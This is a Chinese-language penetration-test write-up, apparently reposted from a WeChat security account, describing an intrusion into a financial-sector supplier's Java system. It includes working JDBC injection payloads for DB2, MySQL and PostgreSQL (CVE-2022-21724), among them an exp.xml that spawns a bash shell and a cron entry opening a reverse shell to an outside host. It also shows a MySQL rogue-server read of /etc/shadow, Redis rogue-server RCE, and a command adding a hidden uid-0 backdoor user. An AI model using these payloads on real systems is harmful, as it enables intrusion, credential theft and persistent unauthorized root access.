前言背景
最近 HW 要开始了,准备对金融行业的一次供应商下手,从供应商角度进行渗透难度门槛确实要低很多了,本文就是其中一个供应商渗透的一个经典素材,本文均做打码处理,发出来仅做思路学习分享,共勉!
拿下数据
拿到系统的 Web 界面的时候,先别想着直接系统后台 getshell,先把系统整体过一遍, 我们这里运气就比较好,直接翻到了系统里面的测试的 MySQL 敏感信息了:
开门红呀,这次渗透运气居然这么好?!
连接数据
连接很顺利啊,上面翻到的数据库密码居然真的可以连接:
但是好像敏感数据不是很多,emmmm
算了算了,就知道渗透不会这么顺利简单的,我们还是得想办法好好深入渗透一下。
Druid Monitor
Druid Monitor 是 Java 网站下常用的数据库连接池,很多开发者习惯性的直接暴露在公网上,我们经常可以未授权直接访问或者弱口令爆破一下,幸运的是,本网站的 Druid Monitor 也被我们成功拿下,发现这个 Java 站点用了几个数据库相关的驱动 Jar 包:
主要和数据库相关的 JDBC 驱动信息相关内容整理如下:
-
com.mysql.cj.jdbc.Driver:/root/deploy/lib/mysql-connector-j-8.3.0.jar -
org.postgresql.Driver:/root/deploy/lib/postgresql-42.4.5.jar -
oracle.jdbc.OracleDriver :
所以真正可以跑起来的也就这 3 个数据库,网站支持数据源接入,界面如下:
可以看到这就是虚假宣传呀,前端写了支持这么多数据库接入,但是还好我们通过 Druid Monitor 瞅了一眼 JDBC 相关的驱动,否则可能会走不少弯路。
JDBC 攻击面
其实如果我们可以操控数据源的话,就相当于间接的操作了 JDBC 的字符连接串,相关的漏洞很多,从 IBM 的 DB2 数据库,到 PostgreSQL 以及常见的 MySQL 历史上都出现一些重大的 RCE 级别的 CVE 漏洞的,我们多关注这些 CVE 漏洞必要时还是很有用的。
常见的 JDBC RCE 漏洞国光我简单列举几个吧:
IBM DB2 JDBC RCE 姿势
BLUDB:clientRerouteServerListJNDIName=ldap://{IP};
jdbc:db2://x.x.x.x:3306/BLUDB:clientRerouteServerListJNDIName=ldap://x.x.x.x:1389/Deserialization/CommonsCollectionsK1/Command/Base64/xxxxxxx=;
MySQL JDBC RCE 姿势
在版本 >= 8.0.20, >= 5.1.49 中, 此漏洞已经被修复 https://github.com/mysql/mysql-connector-j/commit/de7e1af306ffbb8118125a865998f64ee5b35b1b https://github.com/mysql/mysql-connector-j/commit/13f06c38fb68757607c460789196e3f798d506f2
网上一键利用的项目挺多,比如国光常用的有:rmb122/rogue_mysql_server
MySQL JDBC 文件读取姿势
?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
依然可以使用 rmb122/rogue_mysql_server 项目来进行文件读取利用
PostgreSQL CVE-2022-21724 RCE
test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.1.1.1/exp.xml
exp.xml 内容如下:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean class="java.lang.String">
<property name="whatever" value="#{T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFxxxxxxxxxxxxxxxxxxxxxxxxxgMD4mMQ==}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>
PostgreSQL CVE-2022-21724 文件写入
jdbc:postgresql:///?loggerLevel={loggerLevel}&loggerFile={loggerFile}&shellContent
利用案例细节:
"dbName": "21u000a*/1 * * * * bash -i >& /dev/tcp/1.1.1.1/4444 0>&1u000a?loggerLevel=DEBUG&loggerFile=../../../../../../../../../../../../../../../../var/spool/cron/root&",
"driverName": "org.postgresql.Driver",
文件读取
很不幸,我们这个网站使用的是 mysql-connector-j-8.3.0.jar
和 postgresql-42.4.5.jar
高版本,敲好我们上面准备的 RCE 利用姿势没法直接使用:
但是好在存在 MySQL JDBC 文件读取姿势可以利用,我们通过 Web 界面构造好 JDBC 连接串,一般我们通常在 DB 数据库名后面配置拼接,比如这里我们填写的数据库名为:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true#
然后在数据源里面填好我们通过 rmb122/rogue_mysql_server 项目启动的假的 MySQL 的服务器信息:
尝试读取 /etc/shadow
居然都成功的,看来权限很高呀:
既然是高权限的文件读取,我们可读的文件就灵活很多了:
翻阅文件
在只有文件读取权限的情况下,不知道敏感文件的具体路径,这个时候就有点盲人摸象的感觉,全靠运气和细致的信息收集了:
/root/ .bash_history
翻一下 root 用户敲的命令是一个很常见实用的思路,我们来康康到底有啥,我们定位到了一个 yml 的配置文件和另一个 139 开头的服务器信息:
可惜通过文件读取 SSH 相关的敏感信息,该服务器并不是通过公私钥来进行 SSH 远程控制 139 服务器的,所以我们没法直接去接管 139 服务器,只能想办法看看这个 application-dev.yml 的文件内容了。
root/deploy/deploy.sh
通过 .bash_history 历史命令记录:
提取关键信息如下:
cd
ls
cd deploy
ls
ll
./deploy.sh es dev
所以可以反推出 deploy.sh 的绝对路径信息为:
/root/deploy/deploy.sh
脚本审计
通过读取 /root/deploy/deploy.sh
的内容,我们需要来确定好 yml 配置文件的路径:
提取关键信息如下:
#判断参数个数
if [ $# != 2 ]; then
echo "参数个数不正确 请输入 1.项目(es,ts) 2.环境(dev,sit,uat,prd)"
exit 1
fi
# 定义变量
basePath=~/deploy
mainClass=App
# 获取参数
app=$1
env=$2
# 判断参数是否正确
if [ "$app" != "es" ] && [ "$app" != "ts" ]; then
echo "请输入正确的参数:es 或 ts"
exit 1
fi
if [ "$env" != "dev" ] && [ "$env" != "sit" ] && [ "$env" != "uat" ] && [ "$env" != "prd" ]; then
echo "请输入正确的参数:sit 或 uat 或 prd"
exit 1
fi
# 启动
echo "启动"
cd $basePath/$app/
nohup java -Xms1024m -Xmx4096m -Dlogback.configurationFile=$basePath/$app/logback.xml -classpath "$basePath/lib/*:$basePath/$app/df-$app.jar" com.skyon.$mainClass --spring.config.location=$basePath/$app/application-$env.yml 2>&1 &
所以可以推测出 application 相关的配置文件有以下几个可能:
-
/root/deploy/es/application-dev.yml -
/root/deploy/es/application-sit.yml -
/root/deploy/es/application-uat.yml -
/root/deploy/es/application-prd.yml -
/root/deploy/ts/application-dev.yml -
/root/deploy/ts/application-sit.yml -
/root/deploy/ts/application-uat.yml -
/root/deploy/ts/application-prd.yml
关键配置
上面有 8 种可能,期间读取失败了很多次,都是一些没敏感信息的配置文件:
这些无效信息并不能让我们继续深入下去,继续赌一把,继续读取看看,毕竟还有几个可能的路径没有尝试呢?
终于,这次赌对了,居然真的在一个 dev 配置文件里面读取了 139 服务器的 Redis 的密码,这个密码虽然被注释了,但是还是被我们发现了:
我们来连接看看,居然真的连接成功了:
运气开始好起来了:
Redis RCE
虽然 Redis 里面的超级管理员的密码是加密的:
但好在 Redis 是 5.0.3 低版本:
所以利用
https://github.com/Dliv3/redis-rogue-server
项目:
直接加载 exp.so 来命令执行,成功拿到 139 服务器的 root 权限:
权限维持
这个 Redis CLI 交互不是很方便,第一步直接反弹 tty shell 到外网服务器:
添加一个 ibm2 密码为 P@ssw0rd 的 root 权限用户:
useradd -p `openssl passwd -1 -salt 'salt' P@ssw0rd` ibm2 -o -u 0 -g root -G root -s /bin/bash -d /home/guest
成功登录,进入内网:
新的内网渗透即将开始了,「新的风暴已经出现,怎么能够停滞不前。」好了,本文篇幅有限,接下来就不继续展开了:
原文始发于微信公众号(安全小姿势):从文件读取到 getshell 的一次细节满满的渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论